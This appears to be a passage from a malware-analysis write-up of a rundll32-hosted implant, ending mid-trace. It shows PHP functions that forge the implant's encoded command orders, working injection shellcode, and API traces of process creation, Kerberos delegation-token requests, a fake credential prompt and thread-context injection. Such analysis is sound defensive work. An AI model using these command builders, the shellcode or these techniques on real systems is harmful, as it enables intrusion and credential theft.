[PAR] IWbemContext* pCtx : 0x0
[PAR] IWbemServices** ppNamespace : 0x000000E50863E960
[RET] [0xe5085b2bd4]
[CNT] [370]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CoSetProxyBlanket> in [combase.dll]
[PAR] IUnknown* pProxy : 0x000000E5066C99B0
[PAR] DWORD dwAuthnSvc : 0xffffffff
[PAR] DWORD dwAuthzSvc : 0xffffffff
[PAR] OLECHAR* pServerPrincName : 0x0 (null)
[PAR] DWORD dwAuthnLevel : 0x3
[PAR] DWORD dwImpLevel : 0x3
[PAR] RPC_AUTH_IDENTITY_HANDLE pAuthInfo : 0x0
[PAR] DWORD dwCapabilities : 0x0
[RET] [0xe5085b2cf0]
[CNT] [371]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <IWbemServices::GetObject> in [fastprox.dll]
[PAR] BSTR strObjectPath : 0x000000E5066CCFC8
[STR] -> "Win32_Process"
[PAR] long lFlags : 0x0
[PAR] IWbemContext* pCtx : 0x0
[PAR] IWbemClassObject** ppObject : 0x000000E50863E940
[PAR] IWbemCallResult** ppCallResult : 0x0
[RET] [0xe5085b2d25]
[CNT] [372]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <IWbemClassObject::GetMethod> in [fastprox.dll]
[PAR] LPCWSTR wszName : 0x000000E5066DC648
[STR] -> "Create"
[PAR] long lFlags : 0x0
[PAR] IWbemClassObject** ppInSignature : 0x000000E50863E948
[PAR] IWbemClassObject** ppOutSignature : 0x0
[RET] [0xe5085b2d55]
[CNT] [373]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <IWbemClassObject::SpawnInstance> in [fastprox.dll]
[PAR] long lFlags : 0x0
[PAR] IWbemClassObject** ppNewInstance : 0x000000E50863E950
[RET] [0xe5085b2d75]
[CNT] [374]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <IWbemClassObject::Put> in [fastprox.dll]
[PAR] LPCWSTR wszName : 0x000000E5066CE7B0
[STR] -> "CommandLine"
[PAR] long lFlags : 0x0
[PAR] VARIANT *pVal : 0x000000E50863E978
[FLD] -> bstrVal = "notepad"
[PAR] CIMTYPE Type : 0x0
[RET] [0xe5085b2da6]
[CNT] [375]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <IWbemServices::ExecMethod> in [fastprox.dll]
[PAR] BSTR strObjectPath : 0x000000E5066CCFC8
[STR] -> "Win32_Process"
[PAR] BSTR strMethodName : 0x000000E5066DC648
[STR] -> "Create"
[PAR] long lFlags : 0x0
[PAR] IWbemContext* pCtx : 0x0
[PAR] IWbemClassObject* pInParams : 0x000000E50670B780
[PAR] IWbemClassObject** ppOutParams : 0x000000E50863E970
[PAR] IWbemCallResult** ppCallResult : 0x0
[RET] [0xe5085b2dfc]
III. Result
[CNT] [384]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000E5066F4720
[STR] -> "D3B1"
[STR] "ROOT\CIMV2"
[STR] "11"
[PAR] DWORD cbBinary : 0x24
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000E5066FE100
[PAR] DWORD* pcchString : 0x000000E50863E7FC
[RET] [0xe50859e028]
listdir2
List file names in a given directory and retrieves their size and last written time
//ex: listdir2("C:\\Users\\eglantine\\Desktop\\Samples\\");
function listdir2($dir_path)
{
$dir_16le = UConverter::transcode($dir_path, 'UTF-16LE', 'UTF-8');
$b64_dir = base64_encode($dir_16le);
$cmd_id = "\x3e\xf8 toto $b64_dir";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [348]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000068AAF8EFD0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+RP3ySMQdPU320Bz4Llkf5WYWUh0litvjId74BCYcK8WJcAzzvJZMdYeYaveZJZPyIokMyoWAdO0xGMeDIYvpPbM4M4APUS2m"
[STR] "32djm1cfl3KPSnQmK3ZY/0gMJZLas+ZGku14+lOw23zRr8mHQBMor9pcqyU3slWxGV4s0JQxc/hK7WMgrfVvorgn73XrzjlXbtWUnj3+wU7Knn71qqbhTZdD"
[STR] "ZEg="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000068AAFAACF0
[PAR] DWORD *pcbBinary : 0x00000068ACFCE5FC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x68acf2bea1]
II. Execution
[CNT] [372]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <FindFirstFileW> in [KERNEL32.DLL]
[PAR] LPCWSTR lpFileName : 0x00000068AAF906F0
[STR] -> "C:\Users\eglantine\Desktop\Samples\*"
[RET] [0x68acf32d92]
[CNT] [382]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <FindNextFileW> in [KERNEL32.DLL]
[PAR] HANDLE hFindFile : 0x00000068AAF901B0
[PAR] LPWIN32_FIND_DATAW lpFindFileData : 0x00000068ACFCE290
[RET] [0x68acf33501]
[CNT] [383]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <CreateFileW> in [KERNEL32.DLL]
[PAR] LPCWSTR lpFileName : 0x00000068AAF90210
[STR] -> "C:\Users\eglantine\Desktop\Samples\\APT10"
[PAR] DWORD dwDesiredAccess : 0x80000000 (GENERIC_READ)
[PAR] DWORD dwCreationDisposition : 0x3 (OPEN_EXISTING)
[RET] [0x68acf32f14]
[CNT] [384]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <GetFileTime> in [KERNEL32.DLL]
[PAR] HANDLE hFile : 0x2ec
[PAR] LPFILETIME lpCreationTime : 0x0
[PAR] LPFILETIME lpLastAccessTime : 0x0
[PAR] LPFILETIME lpLastWriteTime : 0x00000068ACFCE268
[RET] [0x68acf32f3c]
[CNT] [385]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <FileTimeToSystemTime> in [KERNEL32.DLL]
[RET] [0x68acf32f5d]
[CNT] [386]
[PTP] [0x5f8] [0x988] [c:\windows\system32\rundll32.exe]
[API] <SystemTimeToTzSpecificLocalTime> in [KERNEL32.DLL]
[RET] [0x68acf32f78]
[...]
III. Result
[CNT] [962]
[PTP] [0x9b4] [0x978] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000000945251D10
[STR] -> "320A"
[STR] "C:\Users\eglantine\Desktop\Samples\|09-04-2025 02:17|AA|APT10"
[STR] "09-04-2025 02:17|AA|BRUTERATEL"
[STR] "09-04-2025 02:17|AA|CRUTCH"
[STR] "09-04-2025 02:17|AA|google"
[STR] "09-04-2025 02:17|AA|pebbledash"
[STR] "09-04-2025 02:17|AA|quiet_canary"
[STR] "09-04-2025 02:17|AA|redline_stealer"
[STR] "09-04-2025 02:17|AA|sliver"
[STR] "09-04-2025 02:17|AA|SOLAR_FLARE"
[STR] "09-04-2025 02:17|AA|tinyturla"
[PAR] DWORD cbBinary : 0x2aa
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000094524F630
[PAR] DWORD* pcchString : 0x00000009472BE74C
[RET] [0x94721e028]
GetDelegationToken
This function could be part of a Kerberos Relay Attack, i’ll update accordingly after a more in-depth static analysis
The parameter can be a signle target or a space-separated list of targets
// ex: GetDelegationToken("ldap/MYDC.mylab.local");
// ex: GetDelegationToken("ldap/MYDC1.mylab.local ldap/MYDC2.mylab.local ldap/MYDC3.mylab.local");
function GetDelegationToken($TargetNames)
{
$cmd_id = "\xb9\xe4 $TargetNames";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x910] [0xa7c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000CA6C578D00
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Ye7ESPwfDBDY1G+FKVh9xn8jB2oJptvNCYPGJSp7J4D0BQXImqZPcZeBV/T2dtuQNJIptA=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000CA6C5853D0
[PAR] DWORD *pcbBinary : 0x000000CA6E50EA1C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xca6e46bea1]
II. Execution
[CNT] [353]
[PTP] [0x910] [0xa7c] [c:\windows\system32\rundll32.exe]
[API] <AcquireCredentialsHandleW> in [SspiCli.dll]
[PAR] LPWSTR pszPrincipal : 0x0 (null)
[PAR] LPWSTR pszPackage : 0x000000CA6E48892A
[STR] -> "Kerberos"
[PAR] unsigned long fCredentialUse : 0x2 (SECPKG_CRED_OUTBOUND)
[PAR] void* pvLogonId : 0x0
[PAR] void* pAuthData : 0x0
[PAR] SEC_GET_KEY_FN pGetKeyFn : 0x0
[PAR] void* pvGetKeyArgument : 0x0
[PAR] PCredHandle phCredential : 0x000000CA6E50E0D0
[PAR] PTimeStamp ptsExpiry : 0x0
[RET] [0xca6e4715dc]
[ * ] [pid 0x910][tid 0xa7c] c:\windows\system32\rundll32.exe
[API] <AcquireCredentialsHandleW>
[RES] SECURITY_STATUS 0x0 (SEC_E_OK)
[CNT] [354]
[PTP] [0x910] [0xa7c] [c:\windows\system32\rundll32.exe]
[API] <InitializeSecurityContextW> in [SspiCli.dll]
[PAR] PCredHandle phCredential : 0x000000CA6E50E0D0
[PAR] PCtxtHandle phContext : 0x0
[PAR] WCHAR* pszTargetName : 0x000000CA6C53B820
[STR] -> "ldap/MYDC.mylab.local"
[PAR] unsigned long fContextReq : 0x103 (ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH | ISC_REQ_ALLOCATE_MEMORY)
[PAR] unsigned long Reserved1 : 0x0
[PAR] unsigned long TargetDataRep : 0x10 (SECURITY_NATIVE_DREP)
[PAR] PSecBufferDesc pInput : 0x0
[PAR] unsigned long Reserved2 : 0x0
[PAR] PCtxtHandle phNewContext : 0x000000CA6E50E0E0
[PAR] PSecBufferDesc pOutput : 0x000000CA6E50E100
[PAR] unsigned long* pfContextAttr : 0x000000CA6E50E0B4
[PAR] PTimeStamp ptsExpiry : 0x0
[RET] [0xca6e47166b]
[ * ] [pid 0x910][tid 0xa7c] c:\windows\system32\rundll32.exe
[API] <InitializeSecurityContextW>
[PAR] PSecBufferDesc pOutput : 0x0000000100000000
[FLD] -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD] -> cBuffers = 0x1
[FLD] -> pBuffers = 0x000000CA6E50E0F0
[FLD] -> pBuffers[0]
[FLD] -> cbBuffer = 0xb57
[FLD] -> BufferType = 0x2 (SECBUFFER_TOKEN)
[FLD] -> pvBuffer = 0x000000CA6C571750
[PAR] unsigned long pfContextAttr : 0x103 (ISC_RET_DELEGATE | ISC_RET_MUTUAL_AUTH | ISC_RET_ALLOCATED_MEMORY)
[RES] SECURITY_STATUS 0x90312 (SEC_I_CONTINUE_NEEDED)
III. Result
[CNT] [369]
[PTP] [0x910] [0xa7c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000CA6C594E30
[STR] -> "B9E4"
[STR] "ldap/MYDC.mylab.local 6E820B4230820B3EA003020105A10302010EA20703050020000000A38204B2618204AE308204AAA003020105A10D1B0B4D"
[STR] "594C41422E4C4F43414CA2233021A003020102A11A30181B046C6461701B104D5944432E6D796C61622E6C6F63616CA382046D30820469A003020112"
[STR] "A103020103A282045B04820457A186900E0C3848E99A94079A0A1897697CE7FDBC66C5E632A075619457E452FD37F988E2368D141DE86E8309D16B19"
[STR] "C1E073159814CE94055AD1415BB72F4B0D4C45B61AC442A6F858F3969643A4C58F83341BF587A1641840859EC8F21113D99800E8A9AFDC990E954D32"
[STR] "738729483F9657B47A8537DDBF7120E8F96108FC802ACCE494CE59E5F518A38CBCF524B74DA059237BC0C2777A1F5705B5980F3D6253AADA1DBCB53D"
[STR] "90A26076D941EF48909170147CF06AF3EE0EFF409A285C29B9311D009D8F1FD8149A7659D9B13682B1963D4CD41A46A9652D148DC5EF4D8AEC755092"
[STR] "4B05E52C322FB05D613221BAEC83DC3A4BFD72FB5A4CFB05EB72EEF347E4F6A2BE8B3568D60EC0536D54CE38D5DF59F8103EDDAD1B3B5810B314BCE2"
[STR] "B0F338DDAA276E5DC20CE745E59E90BAA7E81EAD24607AEB3B7B8C25220250E190DC645A84CB03E4907A8718356791C92E1EC81D1C7B7792C59FA062"
[STR] "FEC2BFD1139508BFCFA1622C6A53BDD8B1599D202DC45FB45ED09411C2AE239C81E86917D0220564687948E5E9ABE98D1196BE8C7D0B58BCD592F502"
[STR] "163119145D923EFBFE737EBBF5AC937ACB3EAD8049485290B2E8F8D684BFCB7EDFABADB913640177401F557909309F0070DE3D2252F313DE2B19B959"
[STR] "F0E4279AB0ADEFBEE5E4CEB84F6211D5DE690F0EF117CA768D5E744D80191A23A8EB0BC9F82D64FF3A080753695D7F7FD986CED38D236F9E88DB2FFC"
[STR] "EBD367B879235102203EC7D40C3C38313F2DA0BC095F7EB9D3C751D3F57E2DA7650C3DA806E6FE1987DA06F339D92C50BA62645A485A484F31E703C5"
[STR] "4AB54414C7DF78EA94E0D9855D673B8308F4B3B19E60043E1D28022C7C12E75CC7BA2BE580A71AF4A1D0FE28BE56CB4AE631C705BCD7C38642B42CAF"
[STR] "C1F5B0376C5159AD051DDAD58E28E9BB03E837AE28488A4C796C086DF8BABAD5A826E30349CE02C9981DFA9239ED7571DBCB2CA29DE9D604102C3E92"
[STR] "5CD6F06EDE1B9979C17BDC8D3D57A3E6C9E13E8477C3D7F48261EA862BB25CCF1672222B6D07B51C884BC27F91D0E1B3BD8F943BF94D9D5136C0A630"
[STR] [TRUNCATED]
[PAR] DWORD cbBinary : 0x2d94
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000CA6C597BD0
[PAR] DWORD* pcchString : 0x000000CA6E50DFBC
[RET] [0xca6e46e028]
ping
// ex: ping("tiguanin.com");
function ping($host)
{
$cmd_id = "\x3a\xb9 $host";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [395]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000026CC761FA0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+W/n+SPofMhbfwBC+H1ob92p8DytHwdzTJtM="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000026CC7709D0
[PAR] DWORD *pcbBinary : 0x00000026CE72E6CC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x26ce68bea1]
II. Execution
[CNT] [403]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <IcmpCreateFile> in [iphlpapi.dll]
[RET] [0x26ce69078f]
[CNT] [410]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <inet_pton> in [ws2_32.dll]
[PAR] INT Family : 0x2 (AF_INET) (IPv4)
[PAR] PCSTR pszAddrString : 0x00000026CC771360
[STR] -> "tiguanin.com"
[PAR] PVOID pAddrBuf : 0x00000026CE72E5EC
[RET] [0x26ce6907c2]
[CNT] [411]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <gethostbyname> in [ws2_32.dll]
[PAR] PCHAR name : 0x00000026CC771360
[STR] -> "tiguanin.com"
[RET] [0x26ce6907cf]
[CNT] [412]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <inet_ntoa> in [ws2_32.dll]
[PAR] struct in_addr in : 0x2e8ffea9
-> 169.254.143.46
[RET] [0x26ce6907f6]
[CNT] [413]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <IcmpSendEcho> in [iphlpapi.dll]
[PAR] HANDLE IcmpHandle : 0x00000026CC74E8F0
[PAR] IPAddr DestinationAddress : 0x2e8ffea9 (169.254.143.46)
[PAR] LPVOID RequestData : 0x00000026CE72E5EB
[PAR] WORD RequestSize : 0x1
[PAR] PIP_OPTION_INFORMATION RequestOptions : 0x0
[PAR] LPVOID ReplyBuffer : 0x00000026CC76FE50
[PAR] DWORD ReplySize : 0x31
[PAR] DWORD Timeout : 0x2710
[RET] [0x26ce69084d]
[CNT] [432]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <IcmpCloseHandle> in [iphlpapi.dll]
[RET] [0x26ce69095c]
III. Result
[CNT] [431]
[PTP] [0xad4] [0xac8] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000026CC74EF50
[STR] -> "3AB9"
[STR] "AA tiguanin.com 169.254.143.46 64"
[PAR] DWORD cbBinary : 0x4e
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000026CC7824A0
[PAR] DWORD* pcchString : 0x00000026CE72E51C
[RET] [0x26ce68e028]
GetCredentialsFromUiPrompt
This cmd rely on a legitimate API “CredUIPromptForWindowsCredentialsW” to ask the user for its credentials and retrieve them unencrypted…
// 10 ex: GetCredentialsFromUiPrompt("Knock, knock, Neo.");
function GetCredentialsFromUiPrompt($CaptionText)
{
$cmd_id = "\x9c\xda $CaptionText";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [395]
[PTP] [0xa78] [0x774] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000098671B2E90
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+esX6SM1qaw7ipSW4N0pb91F8eC0not/rH7mGJg=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000098671C10C0
[PAR] DWORD *pcbBinary : 0x000000986923E79C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x986919bea1]
II. Execution
[CNT] [435]
[PTP] [0xa78] [0x720] [c:\windows\system32\rundll32.exe]
[API] <CredUIPromptForWindowsCredentialsW> in [credui.dll]
[PAR] PCREDUI_INFOW pUiInfo : 0x00000098697AE960
[FLD] -> cbSize = 0x28
[FLD] -> hwndParent = 0x0
[FLD] -> pszMessageText = "Please enter credentials to use:"
[FLD] -> pszCaptionText = "Knock, knock, Neo."
[FLD] -> hbmBanner = 0x0
[PAR] DWORD dwAuthError : 0x0
[PAR] ULONG* pulAuthPackage : 0x00000098697AE924
[PAR] LPCVOID pvInAuthBuffer : 0x0
[PAR] ULONG ulInAuthBufferSize : 0x0
[PAR] LPVOID* ppvOutAuthBuffer : 0x00000098697AE950
[PAR] ULONG* pulOutAuthBufferSize : 0x00000098697AE928
[PAR] BOOL* pfSave : 0x00000098697AE920
[PAR] DWORD dwFlags : 0x1 (CREDUIWIN_GENERIC)
[RET] [0x98691a6362]
[CNT] [541]
[PTP] [0xa78] [0x720] [c:\windows\system32\rundll32.exe]
[API] <CredUnPackAuthenticationBufferW> in [credui.dll]
[PAR] DWORD dwFlags : 0x0
[PAR] PVOID pAuthBuffer : 0x00000098672787A0
[PAR] DWORD cbAuthBuffer : 0x54
[PAR] LPWSTR pszUserName : 0x00000098697AEB90
[PAR] DWORD* pcchMaxUserName : 0x00000098697AE930
[PAR] LPWSTR pszDomainName : 0x00000098697AE988
[PAR] DWORD* pcchMaxDomainName : 0x00000098697AE92C
[PAR] LPWSTR pszPassword : 0x00000098697AED98
[PAR] DWORD* pcchMaxPassword : 0x00000098697AE934
[RET] [0x98691a6405]
[ * ] [pid 0xa78][tid 0x720] c:\windows\system32\rundll32.exe
[API] <CredUnPackAuthenticationBufferW>
[PAR] LPWSTR pszUserName : 0x00000098697AEB90
[STR] -> "Neo"
[PAR] LPWSTR pszDomainName : 0x00000098697AE988
[STR] -> ""
[PAR] LPWSTR pszPassword : 0x00000098697AED98
[STR] -> "WhiteRabbit"
[RES] DWORD 0x1
III. Result
[CNT] [554]
[PTP] [0xa78] [0x720] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000098671EBEE0
[STR] -> "9CDA"
[STR] "Neo"
[STR] "WhiteRabbit"
[PAR] DWORD cbBinary : 0x2a
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000098671F1EF0
[PAR] DWORD* pcchString : 0x00000098697AE83C
[RET] [0x986919e028]
GetThreadsInfo
/*
$p1 = "$pid" | "all"
$p2 = "alertable" OPTIONAL
ex: GetThreadsInfo("2432");
*/
function GetThreadsInfo($pid)
{
$cmd_id = "\xe4\xcd $pid";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x8a8] [0x8d4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000E85E1AEA50
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+IcalSNMyDwL28Gv2Ui1u9VBz"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000E85E1BC530
[PAR] DWORD *pcbBinary : 0x000000E86002E78C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xe85feebea1]
II. Execution
[CNT] [342]
[PTP] [0x8a8] [0x8d4] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtQuerySystemInformation> in [ntdll.dll]
[PAR] SYSTEM_INFORMATION_CLASS SystemInformationClass : 0x5 (SystemProcessInformation)
[PAR] PVOID SystemInformation : 0x000000E85E1C6FC0
[PAR] ULONG SystemInformationLength : 0xa090
[PAR] PULONG ReturnLength : 0x000000E86002E604
[RET] [0xe85ff04f0d]
III. Result
[CNT] [435]
[PTP] [0x8a8] [0x8d4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000E85E1B6480
[STR] -> "E4CD"
[STR] "2432 calc.exe|2640 00007FF65BB7AF90 5 13|1928 00007FFCBFF528C0 5 6|1376 00007FF65BB54680 5 6|1644 00007FFCC1994A30 5 6|"
[PAR] DWORD cbBinary : 0xfa
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000E85E1BB310
[PAR] DWORD* pcchString : 0x000000E86002E5AC
[RET] [0xe85feee028]
InjectSetContext
The optionnal ‘rdll’ parameter indicates that the last parameter is an encrypted DLL
If the last parameter is a PE, the first bytes of it’s header will be wiped after beeing loaded into memory
This function is likely to be used after identifying an alertable thread in the targeted process through the previous command ‘GetThreadsInfo’
/*
$p1 = "pid"
$p2 = "tid"
$p3 = "rdll" OPTIONAL
$p4 = base64(PE|shellcode)
*/
function InjectSetContext($pid, $tid)
{
$buf = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d";
$buf = $buf . "\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01";
$buf = $buf . "\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01";
$buf = $buf . "\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31";
$buf = $buf . "\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45";
$buf = $buf . "\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b";
$buf = $buf . "\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31";
$buf = $buf . "\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2";
$buf = $buf . "\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
$buff_b64 = base64_encode($buf);
$cmd_id = "\xba\xe1 $pid $tid lol $buff_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [775]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000001E0D97D5D0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Yf7QSNMMNUv1/hezM1lutnoJTikJot/wF6vWByQlN4OMYy7RvKpua5vGXO+ee5uAOI4mz4K+SuA0UsuUJe/2dbYrFYYMTiGu"
[STR] "w0xRlFAfkwSMZAMINnZUh1AeC7fv1OEKkNNWwk2yyz/lq8GKQyoB2N1ppBEZsX+qA0M7wJYxbPVK1ndHqPEZ56YN2X3uzVMPE5iVxR+ptXHavFvkwqufJIdi"
[STR] "STCHAPa1o6o6KtQr2SE6sa3lo4dNMXf3HmxqxbiJuJydJqsALE7OBdv9x5YtT4TMIbjlvOuk2yHZqbXlLWA+6JMugpJqmp+q49kv3I13a2wRRG3b7uNW+8DA"
[STR] "ibtKJSCrXpcKQ/EY3p/VU3Ad9csCqvenpWnaQue0lG8bUF1Bj8d9XJZleJv4U3+Hk4ltoPBu+ubDRHXLwu1OJPJzWAF3z4GW47qXAvgPFtkEQCkWL5P4RwGi"
[STR] "3NlOk6Ib"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000001E0D9753B0
[PAR] DWORD *pcbBinary : 0x0000001E0F93EACC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x1e0f89bea1]
II. Execution
[CNT] [787]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll]
[PAR] PHANDLE ProcessHandle : 0x0000001E0F93E960
[PAR] ACCESS_MASK DesiredAccess : 0x28 (PROCESS_VM_OPERATION | PROCESS_VM_WRITE)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x0000001E0F93E9B0
[PAR] PCLIENT_ID ClientId : 0x0000001E0F93E970
[FLD] -> UniqueProcess = 0x7b8
[FLD] -> UniqueThread = 0x0
[RET] [0x1e0f8b4aab]
[CNT] [798]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[API] <VirtualAllocEx> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x324
[PAR] LPVOID lpAddress : 0x0
[PAR] SIZE_T dwSize : 0xaa
[PAR] DWORD flAllocationType : 0x3000
[PAR] DWORD flProtect : 0x4 (PAGE_READWRITE)
[RET] [0x1e0f886395]
[CNT] [799]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[API] <WriteProcessMemory> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x324
[PAR] LPVOID lpBaseAddress : 0x2de0000
[PAR] LPCVOID lpBuffer : 0x0000001E0D9754B0
[PAR] SIZE_T nSize : 0xa9
[RET] [0x1e0f8863bd]
[CNT] [800]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[API] <VirtualProtectEx> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x324
[PAR] LPVOID lpAddress : 0x2de0000
[PAR] SIZE_T dwSize : 0xaa
[PAR] DWORD flNewProtect : 0x20 (PAGE_EXECUTE_READ)
[RET] [0x1e0f8863e4]
[CNT] [801]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtGetContextThread> in [ntdll.dll]
[PAR] HANDLE ThreadHandle : 0x32c
[PAR] PCONTEXT ThreadContext : 0x0000001E0D95D990
[RET] [0x1e0f8a6017]
[CNT] [810]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
